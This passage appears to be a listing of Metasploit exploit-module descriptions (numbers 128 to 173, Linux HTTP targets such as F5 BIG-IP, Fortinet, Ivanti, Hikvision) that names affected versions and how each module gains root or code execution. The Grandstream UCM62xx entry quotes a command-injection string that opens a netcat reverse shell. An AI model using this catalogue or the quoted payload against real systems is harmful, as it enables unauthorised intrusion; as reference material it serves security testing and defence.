  in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.
  Tested against the VMware OVA release of 14.1.2.

End Exploit Number 128

Begin Exploit Number 129
       Name: F5 BIG-IP TMUI AJP Smuggling RCE
     Module: exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-26

Payload information:

Description:
  This module exploits a flaw in F5's BIG-IP Traffic Management User
Interface (TMUI) that enables an external,
  unauthenticated attacker to create an administrative user. Once the
user is created, the module uses the new
  account to execute a command payload. Both the exploit and check
methods automatically delete any temporary
  accounts that are created.

End Exploit Number 129

Begin Exploit Number 130
       Name: F5 iControl iCall::Script Root Command Execution
     Module: exploit/linux/http/f5_icall_cmd
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-03

Payload information:

Description:
  This module exploits an authenticated privilege escalation
  vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
  other F5 devices). This requires valid credentials and the Resource
  Administrator role. The exploit should work on BIG-IP 11.3.0
  - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see
references
  for more details)

End Exploit Number 130
```

```
Begin Exploit Number 131
       Name: F5 iControl Remote Root Command Execution
     Module: exploit/linux/http/f5_icontrol_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-17

Payload information:

Description:
  This module exploits an authenticated remote command execution
  vulnerability in the F5 BIGIP iControl API (and likely other
  F5 devices).

End Exploit Number 131

Begin Exploit Number 132
       Name: F5 BIG-IP iControl RCE via REST Authentication Bypass
     Module: exploit/linux/http/f5_icontrol_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-04

Payload information:

Description:
  This module exploits an authentication bypass vulnerability
  in the F5 BIG-IP iControl REST service to gain access to the
  admin account, which is capable of executing commands
  through the /mgmt/tm/util/bash endpoint.

  Successful exploitation results in remote code execution
  as the root user.

End Exploit Number 132

Begin Exploit Number 133
       Name: F5 iControl REST Unauthenticated SSRF Token Generation
RCE
     Module: exploit/linux/http/f5_icontrol_rest_ssrf_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-10

Payload information:

Description:
  This module exploits a pre-auth SSRF in the F5 iControl REST API's
  /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token
that
  can be used to execute root commands on an affected BIG-IP or BIG-IQ
  device. This vulnerability is known as CVE-2021-22986.

  CVE-2021-22986 affects the following BIG-IP versions:

  * 12.1.0 - 12.1.5
  * 13.1.0 - 13.1.3
  * 14.1.0 - 14.1.3
  * 15.1.0 - 15.1.2
  * 16.0.0 - 16.0.1

  And the following BIG-IQ versions:

  * 6.0.0 - 6.1.0
  * 7.0.0
  * 7.1.0

  Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.

End Exploit Number 133

Begin Exploit Number 134
       Name: F5 BIG-IP iControl Authenticated RCE via RPM Creator
     Module: exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-16

Payload information:

Description:
  This module exploits a newline injection into an RPM .rpmspec file
  that permits authenticated users to remotely execute commands.

  Successful exploitation results in remote code execution
  as the root user.
```

```
End Exploit Number 134

Begin Exploit Number 135
       Name: F5 BIG-IP iControl CSRF File Write SOAP API
     Module: exploit/linux/http/
f5_icontrol_soap_csrf_rce_cve_2022_41622
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-16

Payload information:

Description:
  This module exploits a cross-site request forgery (CSRF)
vulnerability
  in F5 Big-IP's iControl interface to write an arbitrary file to the
  filesystem.

  While any file can be written to any location as root, the
  exploitability is limited by SELinux; the vast majority of writable
  locations are unavailable. By default, we write to a script that
  executes at reboot, which means the payload will execute the next
time
  the server boots.

  An alternate target - Login - will add a backdoor that executes next
  time a user logs in interactively. This overwrites a file,
  but we restore it when we get a session

  Note that because this is a CSRF vulnerability, it starts a web
  server, but an authenticated administrator must visit the site,
which
  redirects them to the target.

End Exploit Number 135

Begin Exploit Number 136
       Name: FLIR AX8 unauthenticated RCE
     Module: exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-08-19

Payload information:
```

```
Description:
  All FLIR AX8 thermal sensor cameras versions up to and including
1.46.16 are vulnerable to Remote Command Injection.
  This can be exploited to inject and execute arbitrary shell commands
as the root user through the id HTTP POST parameter
  in the res.php endpoint.

  This module uses the vulnerability to upload and execute payloads
gaining root privileges.

End Exploit Number 136

Begin Exploit Number 137
       Name: Foreman (Red Hat OpenStack/Satellite) bookmarks/create
Code Injection
     Module: exploit/linux/http/foreman_openstack_satellite_code_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-06

Payload information:

Description:
  This module exploits a code injection vulnerability in the 'create'
  action of 'bookmarks' controller of Foreman and Red Hat OpenStack/
Satellite
  (Foreman 1.2.0-RC1 and earlier).

End Exploit Number 137

Begin Exploit Number 138
       Name: Fortinet FortiNAC keyUpload.jsp arbitrary file write
     Module: exploit/linux/http/fortinac_keyupload_file_write
   Platform: Linux, Unix
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-16

Payload information:

Description:
  This module uploads a payload to the /tmp directory in addition to a
cron job
  to /etc/cron.d which executes the payload in the context of the root
```

```
user.

  The core vulnerability is an arbitrary file write issue in /
configWizard/keyUpload.jsp which
  is accessible remotely and without authentication. When you send the
vulnerable
  endpoint a ZIP file, it will extract an attacker controlled file to
a directory
  of the attackers choice on the target system.

  This issue is exploitable on the following versions of FortiNAC:

  FortiNAC version 9.4 prior to 9.4.1
  FortiNAC version 9.2 prior to 9.2.6
  FortiNAC version 9.1 prior to 9.1.8
  FortiNAC 8.8 all versions
  FortiNAC 8.7 all versions
  FortiNAC 8.6 all versions
  FortiNAC 8.5 all versions
  FortiNAC 8.3 all versions

End Exploit Number 138

Begin Exploit Number 139
       Name: Fortinet FortiOS, FortiProxy, and FortiSwitchManager
authentication bypass.
     Module: exploit/linux/http/
fortinet_authentication_bypass_cve_2022_40684
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-10

Payload information:

Description:
  This module exploits an authentication bypass vulnerability
  in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
  to gain access to a chosen account. And then add a SSH key to the
  authorized_keys file of the chosen account, allowing
  to login to the system with the chosen account.

  Successful exploitation results in remote code execution.

End Exploit Number 139

Begin Exploit Number 140
       Name: Fritz!Box Webcm Unauthenticated Command Injection
     Module: exploit/linux/http/fritzbox_echo_exec
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-02-11

Payload information:

Description:
  Different Fritz!Box devices are vulnerable to an unauthenticated OS
command injection.
  This module was tested on a Fritz!Box 7270 from the LAN side. The
vendor reported the
  following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330,
7272, 7270,
  7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140,
7113, 6840 LTE,
  6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270

End Exploit Number 140

Begin Exploit Number 141
       Name: Froxlor Log Path RCE
     Module: exploit/linux/http/froxlor_log_path_rce
   Platform: Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-29

Payload information:

Description:
  Froxlor v2.0.7 and below suffer from a bug that allows authenticated
users to change the application logs path
  to any directory on the OS level which the user www-data can write
without restrictions from the backend which
  leads to writing a malicious Twig template that the application will
render. That will lead to achieving a
  remote command execution under the user www-data.

End Exploit Number 141

Begin Exploit Number 142
       Name: Geutebruck Multiple Remote Command Execution
     Module: exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
   Platform: Unix, Linux
```

```
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-08

Payload information:

Description:
  This module bypasses the HTTP basic authentication used to access 
the /uapi-cgi/ folder
  and exploits multiple authenticated arbitrary command execution 
vulnerabilities within
  the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-
Code EBC-21xx,
  EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions 
<= 1.12.0.27 as
  well as firmware versions 1.12.13.2 and 1.12.14.5. Successful 
exploitation results in
  remote code execution as the root user.

End Exploit Number 142

Begin Exploit Number 143
       Name: Geutebruck instantrec Remote Command Execution
     Module: exploit/linux/http/geutebruck_instantrec_bof
   Platform: Unix, Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-08

Payload information:

Description:
  This module exploits a buffer overflow within the 'action'
  parameter of the /uapi-cgi/instantrec.cgi page of Geutebruck G-Cam 
EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
  ETHC-22xx, and EWPC-22xx devices running firmware versions == 
1.12.0.27 as well as firmware
  versions 1.12.13.2 and 1.12.14.5.
  Successful exploitation results in remote code execution as the root 
user.

End Exploit Number 143

Begin Exploit Number 144
       Name: Geutebruck testaction.cgi Remote Command Execution
     Module: exploit/linux/http/geutebruck_testaction_exec
   Platform: Unix, Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-20

Payload information:

Description:
  This module exploits an authenticated arbitrary command execution 
vulnerability within the 'server'
  GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-
Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
  ETHC-22xx, and EWPC-22xx devices running firmware versions <= 
1.12.0.25 as well as firmware
  versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set 
to 'ntp'.
  Successful exploitation results in remote code execution as the root 
user.

End Exploit Number 144

Begin Exploit Number 145
       Name: Github Enterprise Default Session Secret And 
Deserialization Vulnerability
     Module: exploit/linux/http/github_enterprise_secret
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-15

Payload information:

Description:
  This module exploits two security issues in Github Enterprise, 
version 2.8.0 - 2.8.6.
  The first is that the session management uses a hard-coded secret 
value, which can be
  abused to sign a serialized malicious Ruby object. The second 
problem is due to the
  use of unsafe deserialization, which allows the malicious Ruby 
object to be loaded,
  and results in arbitrary remote code execution.

  This exploit was tested against version 2.8.0.

End Exploit Number 145
```

```
Begin Exploit Number 146
       Name: Gitlist Unauthenticated Remote Command Execution
     Module: exploit/linux/http/gitlist_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-06-30

Payload information:
  Space: 8192
  Avoid: 2 characters

Description:
  This module exploits an unauthenticated remote command execution 
vulnerability
  in version 0.4.0 of Gitlist. The problem exists in the handling of a 
specially
  crafted file name when trying to blame it.

End Exploit Number 146

Begin Exploit Number 147
       Name: GL.iNet Unauthenticated Remote Command Execution via the 
logread module.
     Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-12-10

Payload information:

Description:
  A command injection vulnerability exists in multiple GL.iNet network 
products, allowing an attacker
  to inject and execute arbitrary shell commands via JSON parameters 
at the `gl_system_log` and `gl_crash_log`
  interface in the `logread` module.
  This exploit requires post-authentication using the `Admin-Token` 
cookie/sessionID (`SID`), typically stolen
  by the attacker.
  However, by chaining this exploit with vulnerability CVE-2023-50919, 
one can bypass the Nginx authentication
  through a `Lua` string pattern matching and SQL injection 
vulnerability. The `Admin-Token` cookie/`SID` can be
```

```
  retrieved without knowing a valid username and password.

  The following GL.iNet network products are vulnerable:
  - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
  - MT6000: v4.5.0 - v4.5.3;
  - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
  - E750/E750V2, MV1000: v4.3.8;
  - X3000: v4.0.0 - v4.4.2;
  - XE3000: v4.0.0 - v4.4.3;
  - SFT1200: v4.3.6;
  - and potentially others (just try ;-)

  NOTE: Staged Meterpreter payloads might core dump on the target, so
use stage-less Meterpreter payloads
  when using the Linux Dropper target.

End Exploit Number 147

Begin Exploit Number 148
       Name: GLPI htmLawed php command injection
     Module: exploit/linux/http/glpi_htmlawed_php_injection
   Platform: Linux
       Arch: x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-01-26

Payload information:

Description:
  This exploit takes advantage of a unauthenticated php command
injection available
  from GLPI versions 10.0.2 and below to execute a command.

End Exploit Number 148

Begin Exploit Number 149
       Name: GoAhead Web Server LD_PRELOAD Arbitrary Module Load
     Module: exploit/linux/http/goahead_ldpreload
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-18

Payload information:
  Space: 5000
```

```
Description:
  This module triggers an arbitrary shared library load vulnerability
  in GoAhead web server versions between 2.5 and that have the CGI
module
  enabled.

End Exploit Number 149

Begin Exploit Number 150
       Name: GoAutoDial 3.3 Authentication Bypass / Command Injection
     Module: exploit/linux/http/goautodial_3_rce_command_injection
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-21

Payload information:

Description:
  This module exploits a SQL injection flaw in the login functionality
for GoAutoDial version 3.3-1406088000 and below, and attempts to
perform command injection. This also attempts to retrieve the admin
user details, including the cleartext password stored in the
underlying database. Command injection will be performed with root
privileges.

  This module has been tested successfully on GoAutoDial version
3.3-1406088000.

End Exploit Number 150

Begin Exploit Number 151
       Name: Berlios GPSD Format String Vulnerability
     Module: exploit/linux/http/gpsd_format_string
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-05-25

Payload information:
  Space: 1004
  Avoid: 4 characters

Description:
  This module exploits a format string vulnerability in the Berlios
GPSD server.
```

```
  This vulnerability was discovered by Kevin Finisterre.

End Exploit Number 151

Begin Exploit Number 152
       Name: Grandstream GXV31XX 'settimezone' Unauthenticated Command
Execution
     Module: exploit/linux/http/
grandstream_gxv31xx_settimezone_unauth_cmd_exec
   Platform: Unix, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-09-01

Payload information:

Description:
  This module exploits a command injection vulnerability in
Grandstream GXV31XX
  IP multimedia phones. The 'settimezone' action does not validate
input in the
  'timezone' parameter allowing injection of arbitrary commands.

  A buffer overflow in the 'phonecookie' cookie parsing allows
authentication
  to be bypassed by providing an alphanumeric cookie 93 characters in
length.

  This module was tested successfully on Grandstream models:
  GXV3175v2 hardware revision V2.6A with firmware version 1.0.1.19;
and
  GXV3140 hardware revision V0.4B with firmware version 1.0.1.27.

End Exploit Number 152

Begin Exploit Number 153
       Name: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
     Module: exploit/linux/http/grandstream_ucm62xx_sendemail_rce
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-23

Payload information:

Description:
  This module exploits an unauthenticated SQL injection vulnerability
(CVE-2020-5722) and
  a command injection vulnerability (technically, no assigned CVE but
was inadvertently
  patched at the same time as CVE-2019-10662) affecting the
Grandstream UCM62xx IP PBX
  series of devices. The vulnerabilities allow an unauthenticated
remote attacker to
  execute commands as root.

  Exploitation happens in two stages:

  1. An SQL injection during username lookup while executing the
"Forgot Password" function.
  2. A command injection that occurs after the user provided username
is passed to a Python script
  via the shell. Like so:

  /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py
\
  password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/
sh`;` TTsf7G0 `

  This module affect UCM62xx versions before firmware version
1.0.19.20.

End Exploit Number 153

Begin Exploit Number 154
       Name: GravCMS Remote Command Execution
     Module: exploit/linux/http/gravcms_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-03-29

Payload information:

Description:
  This module exploits arbitrary config write/update vulnerability to
achieve remote code execution.
  Unauthenticated users can execute a terminal command under the
context of the web server user.

  Grav Admin Plugin is an HTML user interface that provides a way to
configure Grav and create and modify pages.
  In versions 1.10.7 and earlier, an unauthenticated user can execute
some methods of administrator controller without
```

```
  needing any credentials. Particular method execution will result in
arbitrary YAML file creation or content change of
  existing YAML files on the system. Successfully exploitation of that
vulnerability results in configuration changes,
  such as general site information change, custom scheduler job
definition, etc. Due to the nature of the vulnerability,
  an adversary can change some part of the webpage, or hijack an
administrator account, or execute operating system command
  under the context of the web-server user.

End Exploit Number 154

Begin Exploit Number 155
       Name: GroundWork monarch_scan.cgi OS Command Injection
     Module: exploit/linux/http/groundwork_monarch_cmd_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-03-08

Payload information:
  Space: 8190

Description:
  This module exploits a vulnerability found in GroundWork 6.7.0. This
software
  is used for network, application and cloud monitoring. The
vulnerability exists in
  the monarch_scan.cgi where user controlled input is used in the perl
qx function.
  This allows any remote authenticated attacker, regardless of
privileges, to
  inject system commands and gain arbitrary code execution. The module
has been tested
  successfully on GroundWork 6.7.0-br287-gw1571 as distributed within
the Ubuntu 10.04
  based VM appliance.

End Exploit Number 155

Begin Exploit Number 156
       Name: H2 Web Interface Create Alias RCE
     Module: exploit/linux/http/h2_webinterface_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-09

Payload information:
  Avoid: 7 characters

Description:
  The H2 database contains an alias function which allows for
arbitrary Java code to be used.
  This functionality can be abused to create an exec functionality to
pull our payload down
  and execute it. H2's web interface contains restricts MANY
characters, so injecting a payload
  directly is not favorable. A valid database connection is required.
If the database engine
  was configured to allow creation of databases, the module default
can be used which
  utilizes an in memory database. Some Docker instances of H2 don't
allow writing to
  folders such as /tmp, so we default to writing to the working
directory of the software.

  This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199
(version detection fails)

End Exploit Number 156

Begin Exploit Number 157
       Name: Hadoop YARN ResourceManager Unauthenticated Command
Execution
     Module: exploit/linux/http/hadoop_unauth_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-10-19

Payload information:

Description:
  This module uses Hadoop's standard ResourceManager REST API to
execute arbitrary commands on an unsecured Hadoop server.
  Hadoop administrators should enable Kerberos authentication for
these endpoints by changing the 'hadoop.security.authentication'
setting in 'core-site.xml' from 'simple' (the default) to 'kerberos'
before exposing the node to the network.

End Exploit Number 157

Begin Exploit Number 158
```

```
       Name: Hikvision IP Camera Unauthenticated Command Injection
     Module: exploit/linux/http/hikvision_cve_2021_36260_blind
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-18

Payload information:

Description:
  This module exploits an unauthenticated command injection in a 
variety of Hikvision IP
  cameras (CVE-2021-36260). The module inserts a command into an XML 
payload used with an
  HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting 
in command execution
  as the `root` user.

  This module specifically attempts to exploit the blind variant of 
the attack. The module
  was successfully tested against an HWI-B120-D/W using firmware 
V5.5.101 build 200408. It
  was also tested against an unaffected DS-2CD2142FWD-I using firmware 
V5.5.0 build 170725.
  Please see the Hikvision advisory for a full list of affected 
products.

End Exploit Number 158

Begin Exploit Number 159
       Name: HP System Management Anonymous Access Code Execution
     Module: exploit/linux/http/hp_system_management
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-09-01

Payload information:
  Space: 1000
  Avoid: 11 characters

Description:
  This module exploits an anonymous remote code execution on HP System 
Management
  7.1.1 and earlier. The vulnerability exists when handling the 
iprange parameter on
```

```
  a request against /proxy/DataValidation. In order to work HP System
Management must
  be configured with Anonymous access enabled.

End Exploit Number 159

Begin Exploit Number 160
       Name: HP VAN SDN Controller Root Command Injection
     Module: exploit/linux/http/hp_van_sdn_cmd_inject
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-06-25

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a hardcoded service token or default
credentials
  in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as
root.

  A root command injection was discovered in the uninstall action's
name
  parameter, obviating the need to use sudo for privilege escalation.

  If the service token option TOKEN is blank, USERNAME and PASSWORD
will
  be used for authentication. An additional login request will be
sent.

End Exploit Number 160

Begin Exploit Number 161
       Name: Huawei HG532n Command Injection
     Module: exploit/linux/http/huawei_hg532n_cmdinject
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-15

Payload information:

Description:
  This module exploits a command injection vulnerability in the Huawei
  HG532n routers provided by TE-Data Egypt, leading to a root shell.

  The router's web interface has two kinds of logins, a "limited"
user:user
  login given to all customers and an admin mode. The limited mode is
used
  here to expose the router's telnet port to the outside world through
NAT
  port-forwarding.

  With telnet now remotely accessible, the router's limited "ATP
command
  line tool" (served over telnet) can be upgraded to a root shell
through
  an injection into the ATP's hidden "ping" command.

End Exploit Number 161

Begin Exploit Number 162
       Name: IBM Data Risk Manager Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/ibm_drm_rce
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-21

Payload information:

Description:
  IBM Data Risk Manager (IDRM) contains three vulnerabilities that can
be chained by
  an unauthenticated attacker to achieve remote code execution as
root.
  The first is an unauthenticated bypass, followed by a command
injection as the server user,
  and finally abuse of an insecure default password.
  This module exploits all three vulnerabilities, giving the attacker
a root shell.
  At the time of disclosure this was an 0day, but it was later
confirmed and patched by IBM.
  The authentication bypass works on versions <= 2.0.6.1, but the
command injection should only work on
  versions <= 2.0.4 according to IBM.

End Exploit Number 162

Begin Exploit Number 163
```

```
       Name: IBM QRadar SIEM Unauthenticated Remote Code Execution
     Module: exploit/linux/http/ibm_qradar_unauth_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-28

Payload information:

Description:
  IBM QRadar SIEM has three vulnerabilities in the Forensics web 
application
  that when chained together allow an attacker to achieve 
unauthenticated remote code execution.

  The first stage bypasses authentication by fixating session cookies.
  The second stage uses those authenticated sessions cookies to write 
a file to disk and execute
  that file as the "nobody" user.
  The third and final stage occurs when the file executed as "nobody" 
writes an entry into the
  database that causes QRadar to execute a shell script controlled by 
the attacker as root within
  the next minute.
  Details about these vulnerabilities can be found in the advisories 
listed in References.

  The Forensics web application is disabled in QRadar Community 
Edition, but the code still works,
  so these vulnerabilities can be exploited in all flavours of QRadar.
  This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has 
confirmed versions up to 7.2.8
  patch 12 and 7.3.1 patch 3 are vulnerable.
  Due to payload constraints, this module only runs a generic/
shell_reverse_tcp payload.

End Exploit Number 163

Begin Exploit Number 164
       Name: Imperva SecureSphere PWS Command Injection
     Module: exploit/linux/http/imperva_securesphere_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-08
```

```
Payload information:

Description:
  This module exploits a command injection vulnerability in Imperva
  SecureSphere 13.x. The vulnerability exists in the PWS service,
  where Python CGIs didn't properly sanitize user supplied command
  parameters and directly passes them to corresponding CLI utility,
  leading to command injection. Agent registration credential is
  required to exploit SecureSphere in gateway mode.

  This module was successfully tested on Imperva SecureSphere
13.0/13.1/
  13.2 in pre-ftl mode and unsealed gateway mode.

End Exploit Number 164

Begin Exploit Number 165
       Name: IPFire Bash Environment Variable Injection (Shellshock)
     Module: exploit/linux/http/ipfire_bashbug_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-29

Payload information:

Description:
  IPFire, a free linux based open source firewall distribution,
  version <= 2.15 Update Core 82 contains an authenticated remote
  command execution vulnerability via shellshock in the request
headers.

End Exploit Number 165

Begin Exploit Number 166
       Name: IPFire proxy.cgi RCE
     Module: exploit/linux/http/ipfire_oinkcode_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-06-09

Payload information:

Description:
  IPFire, a free linux based open source firewall distribution,
  version < 2.19 Update Core 110 contains a remote command execution
  vulnerability in the ids.cgi page in the OINKCODE field.

End Exploit Number 166

Begin Exploit Number 167
       Name: IPFire 2.25 Core Update 156 and Prior pakfire.cgi
Authenticated RCE
     Module: exploit/linux/http/ipfire_pakfire_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-17

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability in the
  /cgi-bin/pakfire.cgi web page of IPFire devices running versions
2.25 Core Update 156
  and prior to execute arbitrary code as the root user.

End Exploit Number 167

Begin Exploit Number 168
       Name: IPFire proxy.cgi RCE
     Module: exploit/linux/http/ipfire_proxy_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-05-04

Payload information:

Description:
  IPFire, a free linux based open source firewall distribution,
  version < 2.19 Update Core 101 contains a remote command execution
  vulnerability in the proxy.cgi page.

End Exploit Number 168

Begin Exploit Number 169
       Name: Ivanti Connect Secure Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/
```

```
ivanti_connect_secure_rce_cve_2023_46805
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-10

Payload information:

Description:
  This module chains an authentication bypass vulnerability
(CVE-2023-46805) and a command injection
  vulnerability (CVE-2024-21887) to exploit vulnerable instances of
either Ivanti Connect Secure or Ivanti
  Policy Secure, to achieve unauthenticated remote code execution. All
currently supported versions 9.x and
  22.x prior to the vendor mitigation are vulnerable. It is unknown if
unsupported versions 8.x and below are
  also vulnerable.

End Exploit Number 169

Begin Exploit Number 170
       Name: Ivanti Connect Secure Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/
ivanti_connect_secure_rce_cve_2024_21893
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-31

Payload information:

Description:
  This module chains a server side request forgery (SSRF)
vulnerability (CVE-2024-21893) and a command injection
  vulnerability (CVE-2024-21887) to exploit vulnerable instances of
either Ivanti Connect Secure or Ivanti
  Policy Secure, to achieve unauthenticated remote code execution. All
currently supported versions 9.x and
  22.x are vulnerable, prior to the vendor patch released on Feb 1,
2024. It is unknown if unsupported versions
  8.x and below are also vulnerable.

End Exploit Number 170
```

```
Begin Exploit Number 171
       Name: Ivanti Cloud Services Appliance (CSA) Command Injection
     Module: exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529
   Platform: Unix, Linux, PHP
       Arch: cmd, x64, php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-02

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a command injection vulnerability in the Ivanti
Cloud Services Appliance (CSA)
  for Ivanti Endpoint Manager. A cookie based code injection
vulnerability in the
  Cloud Services Appliance before `4.6.0-512` allows an
unauthenticated user to
  execute arbitrary code with limited permissions. Successful
exploitation results
  in command execution as the `nobody` user.

End Exploit Number 171

Begin Exploit Number 172
       Name: Ivanti Sentry MICSLogService Auth Bypass resulting in RCE
(CVE-2023-38035)
     Module: exploit/linux/http/ivanti_sentry_misc_log_service
   Platform: Unix, Linux
       Arch: cmd, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-21

Payload information:

Description:
  This module exploits an authentication bypass in Ivanti Sentry which
exposes API functionality which
  allows for code execution in the context of the root user.

End Exploit Number 172

Begin Exploit Number 173
       Name: Jenkins CLI Deserialization
     Module: exploit/linux/http/jenkins_cli_deserialization
   Platform: Linux
```

```
